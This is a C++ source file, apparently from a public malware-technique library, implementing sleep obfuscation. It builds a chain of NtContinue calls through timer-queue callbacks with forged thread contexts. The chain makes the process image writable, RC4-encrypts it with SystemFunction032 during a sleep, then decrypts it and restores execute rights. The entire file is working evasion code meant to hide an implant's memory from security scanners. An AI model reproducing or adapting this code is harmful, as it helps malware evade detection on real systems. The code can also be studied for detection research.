vxug-VXAPI/VX-API/SleepObfuscationViaVirtualP...

142 lines
5.2 KiB
C++

#include "Win32Helper.h"
BOOL SleepObfuscationViaVirtualProtect(_In_ DWORD dwSleepTimeInMilliseconds, _In_ PUCHAR Key)
{
BOOL bFlag = FALSE;
NTCONTINUE NtContinue = NULL;
SYSTEMFUNCTION032 SystemFunction032 = NULL;
HMODULE hNtdll = NULL, hAdvapi32 = NULL;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_FILE_HEADER File = NULL;
PIMAGE_NT_HEADERS Nt = NULL;
PIMAGE_OPTIONAL_HEADER Optional = NULL;
HMODULE ImageBaseAddress = NULL;
CONTEXT ContextThread = { 0 }, RopVirtualProtectReadWrite = { 0 }, RopSystemFunction032Encryption = { 0 }, RopWaitForSingleObject = { 0 };
CONTEXT RopSystemFunction032Decryption = { 0 }, RopVirtualProtectExecute = { 0 }, RopSetEvent = { 0 };
AB_STRING BinaryKey = { 0 }, ImageBuffer = { 0 };
HANDLE hTimer = NULL, hTimerQueue = NULL, hEvent = NULL;
DWORD PreviousProtectionAttribute = ERROR_SUCCESS;
hNtdll = GetModuleHandleEx2W(L"ntdll.dll");
if (hNtdll == NULL)
goto EXIT_ROUTINE;
hAdvapi32 = TryLoadDllMultiMethodW((PWCHAR)L"advapi32.dll");
if (hAdvapi32 == NULL)
goto EXIT_ROUTINE;
NtContinue = (NTCONTINUE)GetProcAddressA((DWORD64)hNtdll, "NtContinue");
SystemFunction032 = (SYSTEMFUNCTION032)GetProcAddressW((DWORD64)hAdvapi32, L"SystemFunction032");
if (!NtContinue || !SystemFunction032)
goto EXIT_ROUTINE;
ImageBaseAddress = GetPeFileBaseAddress();
if (ImageBaseAddress == NULL)
goto EXIT_ROUTINE;
RtlLoadPeHeaders(&Dos, &Nt, &File, &Optional, (PBYTE*)&ImageBaseAddress);
hEvent = CreateEventW(0, 0, 0, 0);
if (hEvent == NULL)
goto EXIT_ROUTINE;
hTimerQueue = CreateTimerQueue();
if (hTimerQueue == NULL)
goto EXIT_ROUTINE;
BinaryKey.Buffer = Key;
BinaryKey.Length = BinaryKey.MaximumLength = 17;
ImageBuffer.Buffer = (PUCHAR)ImageBaseAddress;
ImageBuffer.Length = ImageBuffer.MaximumLength = Optional->SizeOfImage;
if (!CreateTimerQueueTimer(&hTimer, hTimerQueue, (WAITORTIMERCALLBACK)RtlCaptureContext, &ContextThread, 0, 0, WT_EXECUTEINTIMERTHREAD))
goto EXIT_ROUTINE;
WaitForSingleObject(hEvent, 0x32);
if (CopyMemoryEx(&RopVirtualProtectReadWrite, &ContextThread, sizeof(CONTEXT)) == NULL)
goto EXIT_ROUTINE;
if (CopyMemoryEx(&RopSystemFunction032Encryption, &ContextThread, sizeof(CONTEXT)) == NULL)
goto EXIT_ROUTINE;
if (CopyMemoryEx(&RopWaitForSingleObject, &ContextThread, sizeof(CONTEXT)) == NULL)
goto EXIT_ROUTINE;
if (CopyMemoryEx(&RopSystemFunction032Decryption, &ContextThread, sizeof(CONTEXT)) == NULL)
goto EXIT_ROUTINE;
if (CopyMemoryEx(&RopVirtualProtectExecute, &ContextThread, sizeof(CONTEXT)) == NULL)
goto EXIT_ROUTINE;
if (CopyMemoryEx(&RopSetEvent, &ContextThread, sizeof(CONTEXT)) == NULL)
goto EXIT_ROUTINE;
// VirtualProtect
RopVirtualProtectReadWrite.Rsp -= 8;
RopVirtualProtectReadWrite.Rip = (DWORD64)VirtualProtect;
RopVirtualProtectReadWrite.Rcx = (DWORD64)ImageBaseAddress;
RopVirtualProtectReadWrite.Rdx = Optional->SizeOfImage;
RopVirtualProtectReadWrite.R8 = PAGE_READWRITE;
RopVirtualProtectReadWrite.R9 = (DWORD64)&PreviousProtectionAttribute;
// SystemFunction032
RopSystemFunction032Encryption.Rsp -= 8;
RopSystemFunction032Encryption.Rip = (DWORD64)SystemFunction032;
RopSystemFunction032Encryption.Rcx = (DWORD64)&ImageBuffer;
RopSystemFunction032Encryption.Rdx = (DWORD64)&BinaryKey;
// WaitForSingleObject
RopWaitForSingleObject.Rsp -= 8;
RopWaitForSingleObject.Rip = (DWORD64)WaitForSingleObject;
RopWaitForSingleObject.Rcx = (DWORD64)GetCurrentProcessNoForward();
RopWaitForSingleObject.Rdx = dwSleepTimeInMilliseconds;
// SystemFunction032
RopSystemFunction032Decryption.Rsp -= 8;
RopSystemFunction032Decryption.Rip = (DWORD64)SystemFunction032;
RopSystemFunction032Decryption.Rcx = (DWORD64)&ImageBuffer;
RopSystemFunction032Decryption.Rdx = (DWORD64)&BinaryKey;
// VirtualProtect
RopVirtualProtectExecute.Rsp -= 8;
RopVirtualProtectExecute.Rip = (DWORD64)VirtualProtect;
RopVirtualProtectExecute.Rcx = (DWORD64)ImageBaseAddress;
RopVirtualProtectExecute.Rdx = Optional->SizeOfImage;
RopVirtualProtectExecute.R8 = PAGE_EXECUTE_READWRITE;
RopVirtualProtectExecute.R9 = (DWORD64)&PreviousProtectionAttribute;
// SetEvent
RopSetEvent.Rsp -= 8;
RopSetEvent.Rip = (DWORD64)SetEvent;
RopSetEvent.Rcx = (DWORD64)hEvent;
CreateTimerQueueTimer(&hTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopVirtualProtectReadWrite, 100, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopSystemFunction032Encryption, 200, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopWaitForSingleObject, 300, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopSystemFunction032Decryption, 400, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopVirtualProtectExecute, 500, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopSetEvent, 600, 0, WT_EXECUTEINTIMERTHREAD);
WaitForSingleObject(hEvent, INFINITE);
bFlag = TRUE;
EXIT_ROUTINE:
#pragma warning( push )
#pragma warning( disable : 6031)
if(hTimerQueue)
DeleteTimerQueue(hTimerQueue);
#pragma warning( pop )
return bFlag;
}